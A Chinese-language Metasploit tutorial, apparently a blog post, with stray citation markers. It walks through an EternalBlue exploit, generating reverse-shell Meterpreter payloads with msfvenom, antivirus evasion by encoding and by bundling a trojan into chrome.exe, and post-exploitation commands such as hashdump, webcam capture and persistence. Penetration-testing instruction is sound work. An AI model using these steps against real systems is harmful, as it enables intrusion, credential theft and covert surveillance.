一、Metasploit简介
Metasploit(MSF)是一款开源渗透测试框架,集成了漏洞利用、Payload生成、后渗透模块等功能,支持多种操作系统和硬件平台。其模块化设计(如exploits、auxiliary、payloads等)使其成为全球最受欢迎的渗透测试工具之一
二、安装与更新
-
Kali Linux默认集成
Kali系统自带Metasploit,通过命令
msfconsole
启动。若需手动安装或更新:sudo apt-get update sudo apt-get install metasploit-framework sudo msfupdate # 更新框架:cite[1]:cite[3]
-
数据库配置
Metasploit依赖PostgreSQL存储扫描结果和会话信息:
service postgresql start # 启动数据库 msfdb init # 初始化 db_status # 检查连接状态:cite[1]:cite[2]
三、核心模块与功能
-
模块分类
-
Exploits :漏洞利用模块(如***
ms17_010_eternalblue
***攻击永恒之蓝漏洞)。 -
Auxiliary :辅助模块(端口扫描、密码爆破等),例如***
auxiliary/scanner/ssh/ssh_login
***。 -
Payloads:攻击载荷(如反向Shell、Meterpreter),支持生成跨平台Payload36。
-
Encoders :编码模块(如***
shikata_ga_nai
***)用于绕过杀毒软件检测。 -
Post:后渗透模块(提权、信息收集等)。
-
-
常用命令
命令 功能 search [关键词]
搜索模块(如 search ms17_010
)use [模块路径]
选择模块(如 use exploit/windows/smb/ms17_010_eternalblue
)set RHOSTS [IP]
设置目标IP set PAYLOAD [类型]
配置Payload(如 windows/meterpreter/reverse_tcp
)exploit
执行攻击 sessions -i [ID]
管理会话
四、漏洞利用示例:永恒之蓝(MS17-010)
-
攻击流程
-
搜索模块:
search ms17_010
-
选择模块:
use exploit/windows/smb/ms17_010_eternalblue
-
配置参数:
set RHOSTS [靶机IP] set LHOST [攻击机IP] set LPORT [监听端口]
-
执行攻击:
run
或exploit
-
成功后进入
meterpreter
会话,执行后渗透操作(如shell
、screenshot
)。
-
-
关键技巧
-
关闭靶机防火墙:确保SMB端口(445)开放。
-
Payload选择:使用反向TCP连接绕过防火墙限制6。
-
五、Payload生成与免杀
-
使用
msfvenom
生成Payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] -f exe -o payload.exe:cite[4]:cite[6]
-
免杀技巧
-
编码混淆 :
-e x86/shikata_ga_nai -i 5
(多次编码)。 -
捆绑木马:将Payload嵌入正常程序:
msfvenom -p windows/meterpreter/reverse_tcp -x chrome.exe -f exe -o chrome_payload.exe:cite[6]
-
加壳工具:使用UPX或Shellter生成免杀Payload8。
-
六、后渗透阶段操作(Meterpreter)
-
常用命令
-
sysinfo
:查看系统信息。 -
upload/download
:文件传输。 -
webcam_snap
:摄像头拍照。 -
hashdump
:提取密码哈希。 -
persistence
:创建持久后门。
-
-
提权与横向移动
-
getsystem
:尝试提权至SYSTEM权限。 -
run post/windows/gather/enum_shares
:枚举网络共享8。
-
七、数据库与信息管理
-
保存扫描结果 :使用
db_nmap
扫描并存储结果:db_nmap -sS -A [靶机IP]:cite[4]
-
工作区管理 :
workspace
切换工作区,hosts
查看已扫描主机4。
总结
Metasploit的灵活性和模块化设计使其成为渗透测试的核心工具。通过结合漏洞利用、Payload生成和后渗透操作,用户可高效完成从信息收集到权限维持的全流程测试。实际使用中需注意法律合规性,避免非法攻击。更多细节可参考CSDN博客中的完整教程